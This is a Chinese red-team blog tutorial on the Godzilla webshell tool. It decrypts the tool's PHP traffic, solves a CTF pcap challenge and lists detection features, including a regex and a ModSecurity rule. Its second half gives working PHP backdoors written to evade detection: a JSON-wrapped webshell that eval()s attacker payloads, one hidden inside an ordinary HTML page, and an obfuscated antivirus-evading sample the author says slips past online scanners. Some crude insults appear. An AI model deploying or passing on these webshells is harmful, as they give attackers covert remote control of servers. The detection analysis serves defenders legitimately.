特别感谢与参考: 本文流量隐藏部分参考《炼石计划@渗透红队攻防》星球内部的【第三篇】哥斯拉流量隐藏学习篇中思路,文章仅用于学习参考,实验所用源代码为了尊重原作者只能在放在星球内,感谢不尽。
哥斯拉(Godzilla)是一款国内流行且优秀的红队 webshell 权限管理工具,使用 java 开发的可视化客户端,shell 支持 java、php、asp 环境,通信流量使用 AES 算法加密,具有文件管理、数据库操作、命令执行、内存马、隧道反弹等后门功能。
点击生成选项后, 会弹出webshell配置选项让我们进行选择, 其中包含了密码、密钥、有效载荷和加密器
密码: 哥斯拉客户端发起请求时的参数名
密钥:哥斯拉加密数据所用到的密钥, 请注意该密钥并不是直接用来进行加密处理, 在进行加密处理前该密钥还需经过一道步骤, 即 md5(密钥).substring(0,16) ,处理后的结果就是用来加密的真正的密钥
有效载荷:有效载荷表示webshell的类型
加密器:加密器表示选择的有效载荷的加密方式, 也就是选择要生成的webshell在发送和接受请求时采用那种方式加密数据包。
扰乱数据:用于自定义HTTP请求头,以及在最终的请求数据前后额外再追加一些扰乱数据,进一步降低流量的特征
参考上面我们生成一个简单的哥斯拉PHP马
它的工作原理是,存在一个变量pass,pass的取值为http的post方式。web服务器对pass取值后,然后通过eval()
函数执行pass里面的内容。比如说,将该demo.php
的文件传入站点,以POST方式传入pass=phpinfo();
则页面会显示phpinfo的信息。该变量pass,是最开始生成shell,自己设置的密码
使用phpstudy+burpsuite进行友情测试,设置好代理尝试测试连接
点击测试连接后会发起三个POST请求
第一个请求-响应包中没有携带cookie,但是却设置了session,在之后的数据包中都会携带该session
从数据包中可以发现:request中发送的数据包,是pass=xxxx
的形式。实际操作内容是pass后面一大串加密过的字符
请接下来关注请求包中的key值,为啥捏,因为关于加密解密的更多细节
请参考:https://gryffinbit.top/20221226/godzilla_v4.0/
推荐一篇关于哥斯拉PHPwebshell分析的文章:宸极实验室-作者nothing的『杂项』哥斯拉之 PHPShell 流量分析
“本文部分解密脚本来自此大佬:请求包和返回包都可用此脚本进行解密
<?php
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
function isGzipStream($bin){
if (strlen($bin)>=2){
$bin=substr($bin,0,2);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
switch ($typeCode) {
case 31139:
return true;
break;
default:
return false;
}
}else{
return false;
}
}
$pass = "填充";
$key='3c6e0b8a9c15224a';
$data=encode(base64_decode($pass),$key);
if(isGzipStream($data)){
echo "666\n";
echo gzdecode($data);
}
else{
echo $data;
}
?>
我们不做具体的反编译,其实解密原理就是从pass=编码数据中提取数据,依次进行URL解码和base64解码,再与密钥(如上生成webshell时字符串key的md5值前16位字符:3c6e0b8a9c15224a)按位异或即可得到原始请求数据。
简单分析可知:哥斯拉第一次去连接shell时,将这些函数定义发送给服务器并存储在session中,后续的shell操作只需要发送函数名称以及对应的函数参数即可。包含
二十多个功能函数,具备代码执行、文件操作、数据库操作等诸多功能。接下来继续看第二个请求包
将其进行解密
乱码了不要紧,用这个项目解密也可以:https://github.com/webraybtl/webshell_detect
解密得到如下,说明第2个POST请求实际上是向服务器提交了原始数据为methodName=test的加密数据,如果服务器返回值(解密后)为ok,则说明shell测试连接成功。
methodName\x02\x04\x00\x00\x00test //请求内容
Ok //返回内容
第三个请求,和第二个请求略微不同。将其进行解密后发现请求类似,是测试连接时弹出success,点击确认才会发起的请求
methodName\x02\x07\x00\x00\x00g_close
ok
点击进入连接时也会发起三个POST请求,前两个类似与上述前两个请求
重点分析第三个请求包,对其进行解密
发现即请求报文为:获取服务器基础信息的命令getBasicsInfo,返回包中包含的是服务器的基础信息
如下在终端输入命令whoami
发现哥斯拉发起了单个请求如下:
继续解密看看发现解码出现问题
呵呵哒就改写一下让编码回显更好看
decrypter = PHP_XOR_BASE64(pass_='pass', key='3c6e0b8a9c15224a')
data = decrypter.decrypt_req_payload(b'pass=fL1tMGI4YTljzn78f8Wo%2FyhT11ICWCn3LmDlfWRkKzUxH296TG6bPHo08BeXHfRDJUokYdxGGUHbj6doS3IfUQ2Q97LzpftYDVt8dEy%2BPlENHHYHspi1s7dV0s7u6KWPdzZL50zFATljMQ%3D%3D')
print(gzip.decompress(data).decode("utf-8"))
//这行代码是用于对经过gzip压缩的数据进行解压缩的,其中data是经过gzip压缩的字节序列。gzip.decompress()函数将这个字节序列解压缩成原始数据,并使用utf-8编码将其转换为字符串 data = decrypter.decrypt_res_payload(b'72a9c691ccdaab98fL1tMGI4YTljO/5+/PlQm9MGV7lTjFUKUdfQMDL/j64wJ2UwYg==b4c4e1f6ddd2a488')
print(str(data).replace("b",'').replace("'",''))
//这行代码是用于将二进制数据转换为字符串的,其中data是一个二进制数据对象。首先,str(data)将二进制数据对象转换为字符串,其中字符串的格式为b'...',其中...是二进制数据的内容。接下来,replace("b",'')将字符串中的b字符替换为空字符串,replace("'",'')将字符串中的单引号替换为空字符串。最终,这个代码行会返回一个不带有b和单引号的字符串,其中包含二进制数据的内容。
发现就是在该路径下执行命令whoami,其中一些字段:
其他功能也不一一去解密查看了,总之就是哥斯拉的大部分操作都是单请求命令,例如文件管理中的文件浏览功能,命令执行功能,刷新功能等等。而部分命令是多请求命令,例如:通过插件实现的功能则大部分都是多请求命令。
流程大致总结如下:
1、将大马和各个功能函数注入内存
2、发一个test
包确认是否存活
3、请求basicinfo
,获取基本信息
我们发现在哥斯拉请求包的Cookie中有一个非常致命的特征:最后的分号。标准的HTTP请求中最后一个Cookie的值是不应该出现;的,这个可以作为现阶段的一个辅助识别特征。
从代码中可以看到会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分
整个响应包的结构体征为:md5前十六位+base64+md5后十六位
72a9c691ccdaab98fL1tMGI4YTljO/5+/PlQm9MGV7lTjFUKUdfQMDL/j64wJ2UwYg==b4c4e1f6ddd2a488
按照这样我们分开表示:
我们可以根据这个特征对其所以的数据流量进行分析甄别筛查,符合此格式的统统筛选为威胁来源
72a9c691ccdaab98fL1tMGI4YTljO/79NDQm7r9PZzBiOA==b4c4e1f6ddd2a488
,解密后即为ok。如果连接失败返回内容为空,且不发起请求3需要注意的是:使用哥斯拉时点击测试连接会立即发起请求1和2,如果弹出success并点击确认会立即发起请求3
“测试结果失败则不会发起请求3并且请求2的返回内容为空
直接添加连接而不测试连接则不会发起任何请求
当进入连接或其他操作时会优先发起请求1和请求2,连接失败会提示初始化失败,不会发起请求3且请求2的返回内容为空
根据这个我们可以很快的作为一个辅助识别特征进行数据流量的识别
所有请求中Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
所有响应中Cache-Control:
no-store, no-cache, must-revalidate
虽然以上两个字段都可以修改,但也可以作为弱特征进行参考
给了一个hacker.pacp的包,从中分析并拿到flag
打开流量包,可以看到皆为http请求,看一下发现有1.php文件,且用POST传输数据,可以判断为木马本体,打开看到流量这种形式明显为哥斯拉的马子,加密类型为xor_base64
PS:讲了半天,是不是义眼顶针为哥斯拉流量分析?如果你他妈这都看不出来,呢我就*你血🐎
由于在数据包中并未找到明显上传木马信息(不要被xatusec=xxxx迷惑了)
所以木马的密码和密钥皆为默认就好,接下来解密第一个数据包成功
回到pacp中,其中有干扰的访问404数据,直接过滤数据包http协议的拉到最下面
可以看到还有1.php,为了方便直接右键追踪流最后一个,逐个解密都不是,慢慢找一顿后发现34号数据包
放进去解密就是了,直接发现flag
得到后再解一下base64就好,拿下flag{7a831fe6-0bd2-663f-aa62-3f2b29ae7ad4}
哥斯拉客户端使用JAVA语言编写,在默认的情况下,如果不修改User-Agent,User-Agent会类似于Java/1.8.0_121(具体什么版本取决于JDK环境版本)。但是哥斯拉支持自定义HTTP头部,这个默认特征是可以很容易去除的。
Accept为text/html, image/gif, image/jpeg, *; q=.2, /; q=.2 对这个默认特征应该很熟悉了,之前冰蝎也出现过同样的Accept。
为什么会这么巧合出现两个工具都会出现这个特征呢,其实这个也是JDK引入的一个特征,并不是作者自定义的Accept(参考:https://bugs.openjdk.java.net/browse/JDK-8177439)。同样的这个默认特征也可以通过自定义头部去除,只能作为默认情况下的辅助检测特征。
哥斯拉的作者应该还没有意识到,在请求包的Cookie中有一个非常致命的特征,最后的分号。标准的HTTP请求中最后一个Cookie的值是不应该出现;的,这个可以作为现阶段的一个辅助识别特征。后面如果作者意识到这个问题的话应该会发布新版本修复这个问题。
因为无法准确识别加密的请求体,所以只能采用比较宽泛的匹配条件去匹配请求体特征,宽泛的匹配思路其实就是基于区别大部分正常的数据包,加密数据包自身体现的特征。这种宽泛的匹配在一些情况下可能会带来误报,因此有时候难以作为一种非常有效的检测手法。
哥斯拉支持对加密的数据进行base64编码以及原始的加密raw两种形式的通讯数据,对于请求体的检测也要考虑两种情况。
首先看一下base64编码的数据包,对于这种数据包唯一的识别方法就是识别流量中的base64编码。当然不能仅仅去识别数据包中存在base64编码就拦截,因为很多应用正常的参数也会采用base64编码加密。哥斯拉在进行初始化时会产生一个比较大的数据包,后面进行命令执行等操作时产生的base64数据包会比较比较小。在长度上做一个匹配条件在一定程度上也可以降低误报率。
对于原始加密raw请求体,没想到比较好的方法,目前只想到到了匹配较多的不可见字符的思路。同样的,这种检测方法也会产生误报,像一些对传输安全要求比较高的金融机构,不少应用也会实现一些加密的通讯流量。需要注意的是,在匹配不可见字符时,需要排除文件上传,也就是multipart/form-data数据包,因为文件上传的流量也会包含大量的不可见字符。
和请求体一样,请求响应体也分两个格式,base64编码的和原始加密raw数据。如果请求体采用base64编码,响应体返回的也是base64编码的数据。在使用base64编码时,响应体会出现一个很明显的固定特征。这个特征是客户端和服务端编写的时候引入的。
从代码可以看到会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。整个响应包的结构体征为:md5前十六位+base64+md5后十六位。
从响应数据包可以明显看到这个特征,检测时匹配这个特征可以达到比较高的检出率,同时也只可以结合前面的一些弱特征进行检查,进一步提高检出率。因为md5的字符集范围在只落在0123456789ABCDEF范围内,因此很容易去匹配,正则匹配类似于(?i:[0-9A-F]{16})[\w+/]{4,}=?=?(?i:[0-9A-F]{16})。需要注意的是md5需要同时匹配字母大小写两种情况,因为在JAVA版webshell响应中为大写字母,在PHP版中为小写字母。
编写对应检测规则,在ModSecurity上测试成功拦截。
但是比较遗憾的是对于原始加密数据的raw形式响应包并没有比较好的检测思路,只能和请求体检测一样,匹配不可见字符。
对于静态特征的检测主要针对于webshell上传阶段。对于静态特征的识别应该是最简单的检测方法,只需要把哥斯拉的webshell提取相应的特征然后进行检测即可。当时这种检测方法往往只适合用于直接的文件上传漏洞检测,而当攻击者使用诸如反序列化漏洞或者命令执行等漏洞写入webshell,则可以实现在通讯流量中不直接传递webshell原始内容写入webshell。另外,如果不是用哥斯拉默认生成的webshell,对webshell进行改造同样可以绕过静态特征的匹配。哥斯拉默认的webshell生成支持JAVA、C#以及PHP三种类型,其中JAVA支持生成jsp以及jspx两种后缀webshell,C#支持aspx、asmx、ashx后缀,PHP就支持php后缀webshell(PHP环境可能支持解析很多后缀类型的文件,如php3、php5、phtml、pht,但是语法都是兼容的)。先看JAVA的,主要原理和冰蝎的差不多。关键在于加密、类加载和反射,可以提取关键操作的代码作为静态检测的特征
如: AES加/解密:javax.crypto.Cipher.getInstance(“AES”) 类加载:ClassLoader 反射:Class.forName
C#的webshell核心在于使用Assembly来动态解析执行已编译的DLL二进制文件,以及流量加密。
使用Assembly的特征为System.Reflection.Assembly
实现加/解密:System.Security.Cryptography.RijndaelManaged()
PHP没有沿用AES加密的流量,而是通过异或实现自定义的加密,并且直接使用eval函数进行代码执行。
和冰蝎类似,哥斯拉为加密的通讯流量,因此通过流量进行检测会有很大的难度,由于WAF等流量检测型安全设备无法对加密的流量进行解密,因此只能采用一些比较宽泛的匹配规则进行检测,这算是比较粗暴的方法,粗暴的检测方法必然也会带来一定的误报,特别是一些客户自身应用本身就采用自定义加密流量进行通讯时会可能导致大量的误报。对于这种的情况,可以在WAF调试及日常的安全运营工作中提前识别这些较为特殊的应用误报并剔除掉对应的检测规则,减少误报。但这样也必然会带来一定的漏报风险。除了采用宽泛的检测规则之外,作者在编写工具时有意或者无意引入一些其他特征也可以作为辅助的检测特征,并且基于这些特征的匹配能够实现比较高的检出率和较低的误报率。比如,之前对于冰蝎的检测主要是基于在密钥协商阶段以及请求头部产生的特征。分析发现哥斯拉的作者在编写工具的时候也引入了一些特征,可以基于这些特征提高检出率。
Webshell是指利⽤Web应⽤程序漏洞攻击成功后,在服务器上安装并运⾏的⼀个命令⾏⼯具,攻击者可以通过Webshell来执⾏恶意操作,⽐如远程控制服务器、窃取敏感信息、破坏服务器等。为了防⽌Webshell被检测到和追踪,需要对Webshell的流量进⾏隐藏。常⻅的 Webshell 流量隐藏技术:
同上已经分析过特征
抓取流量观察,解密脚本同上选择解密即可
实战中可以将生成的Webshell 代码(可以先前免杀)隐藏在⽆害⽂件中,并且在请求配置中增加垃圾混淆参数,修改特征来达到无害化绕过流量甄别
隐藏在⽆害⽂件中的具体步骤:
⾸先⽣成⼀个默认的base64样式的webshell ,将密码设置为⼀个看上去正常的参数
在请求配置中增加参数以达到混淆视听的⽬的 sid=02034200142&verifycode=&ismobile=0
随便去找⼀个html⻚⾯,提取其中的内容后插⼊我们的webshell:search.php
看着还算正常吧(不正常)咋们主要看看流量就好
成功连接
观察可以发现我们的交互数据就不那么像⼀个恶意的请求了
但是这种方法也就只是意淫,骗一下傻狗,在实战演练、渗透测试过程中,态势感知、全流量等设备的告警,杀软、EDR、HIDS等终端防护产品也会为我们的行动带来困扰。
但是这种方法甚至可以轻松过点河马在线查杀(垃圾)
VT直接飘红
微步在线沙箱
是吧,有点滑稽,只有VT识别出来了
JSON格式:我们需要在请求配置处改成如下形式,怎么改都可以,只要看上去像正常的请求
{"type":0,"key":"869915638f737af2b389cdc91ad57107","data":{"credential":"DlMRWA1cL1gOVDc2MjRhR","captcha":"6","account":"lili"}}
改造默认的哥斯拉⻢,以php://input的⽅式获取json数据,取出其中存放连接参数的字段,对字段中多余的内容进⾏处理 $str_pass之外的内容是我们真正的请求
<?php
header("Content-type:application/json");
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='search_name';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$str_pass = "DlMRWA1cL1gOVDc2MjRhR".$pass."=";
if ($_SERVER['REQUEST_METHOD']=='POST'){
$data=json_decode(file_get_contents("php://input"));
$data=$data->data->credential;
$data=substr($data,strlen($str_pass));
$data=encode(base64_decode(urldecode($data)),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key); eval($payload);
$result = substr(md5($pass.$key),0,16);
$result .= base64_encode(encode(@run($data),$key));
$result .= substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
$json_result = array();
$json_result["status"] = "true";
$json_result["data"]=array();
$json_result["data"]["enc"]=$result;
echo json_encode($json_result);
最终执⾏结果存放到数组中并以json的⽅式进⾏返回,测试可以看到流量变成了json的交互形式
连接也成功的
现有的 Webshell 流量隐藏技术主要依靠加密、编码、混淆等技术⼿段来欺骗检测系统,但是往往会忽略了 Webshell 的流量⾏为特征。因此,攻击者可以使⽤其他⽅法,如隐藏、伪装、加密传输等来规避检测系统。
针对性不够:现有的 Webshell 流量隐藏技术⼤多只是针对特定的检测系统或算法进⾏设计和实现, ⽽并未充分考虑到不同的检测系统之间的差异性。因此,可能存在⼀些检测系统能够检测到某种 Webshell 流量隐藏技术。
难以⾃适应:现有的 Webshell 流量隐藏技术通常需要⼈⼯设置参数或选择加密算法,⽆法⾃适应地 根据实际情况进⾏调整。这样可能会导致加密或编码效果不佳或者性能下降等问题。
可能会增加误报率:某些 Webshell 流量隐藏技术虽然可以有效地欺骗检测系统,但是也可能会增加 误报率。例如,在某些检测系统中,某些加密算法或编码⽅式可能会被误认为是恶意流量。⽆法使 ⽤GET⽅式的webshell请求,数据量如果⽐较⼤,就会⽐较难⽤,被发现的概率也会⼤⼤增加。
路还遥远,骚年!可以自己常识学习,我不多比比了
下面是一个免杀webshell的样本,可以试试与原版的对比有什么区别
“如果 POST 请求中存在密码字段,则对密码进行解密,得到一个 payload,然后对 payload 进行解密和解码,并最终执行其中的代码。如果 SESSION 中不存在 payload,则将解密后的密码存入 SESSION 中。如果 SESSION 中存在 payload,则直接执行其中的代码。最终输出加密后的密码和经过加密处理后的 payload。
<?php
// 开启 session,设置脚本执行时间无限制,关闭错误报告
@session_start();
@set_time_limit(0);
@error_reporting(0);// 定义加密函数
function encode($D, $K) {
for ($i = 0; $i < strlen($D); $i++) {
$c = $K[$i + 1 & 15];
$D[$i] = $D[$i] ^ $c;
}
return $D;
}
// 定义变量
$payloadName = 'payload';
$pass = 'cnm';
$key = 'bf21a14d8b0eb60f';
// 如果 POST 请求中存在密码字段,则进行解密和执行
if (isset($_POST[$pass])) {
$bs = preg_filter('/\s+/', '', 'base 64 _ deco de');
$p = $_POST[$pass];
$data = encode($bs($p . ""), $key);
// 如果 SESSION 中存在 payload,则进行解密
if (isset($_SESSION[$payloadName])) {
$payload = encode($_SESSION[$payloadName], $key);
// 如果 payload 中不包含 getBasicsInfo,则进行二次解密
if (strpos($payload, "getBasicsInfo") === false) {
$payload = encode($payload, $key);
}
// 构造新的类,并执行 payload
class GH70y973 {
public function __construct($payload) {
@eval("/*Z86m634950*/" . $payload . "");
}
}
new GH70y973($payload);
// 输出加密后的密码和 payload
echo substr(md5($pass . $key), 0, 16);
echo base64_encode(encode(@run($data), $key));
echo substr(md5($pass . $key), 16);
// 如果 SESSION 中不存在 payload,则将 data 加密后存入 SESSION 中
} else {
if (strpos($data, "getBasicsInfo") !== false) {
$_SESSION[$payloadName] = encode($data, $key);
}
}
}
连接上看看流量,校验校验这节课你学的怎么样呢?
假如我们把 免杀代码+隐匿混淆无害插入 结合起来
看看检出率如何呢?
怎么样,是不是又掌握一个入狱小技巧?
“实验所用文件请在《应龙安全-红蓝对抗知识库》OR《炼石计划@渗透红队攻防》内获取,
请加我微信后拉进交流群共同吹水玩耍交流,并且随时反馈Bug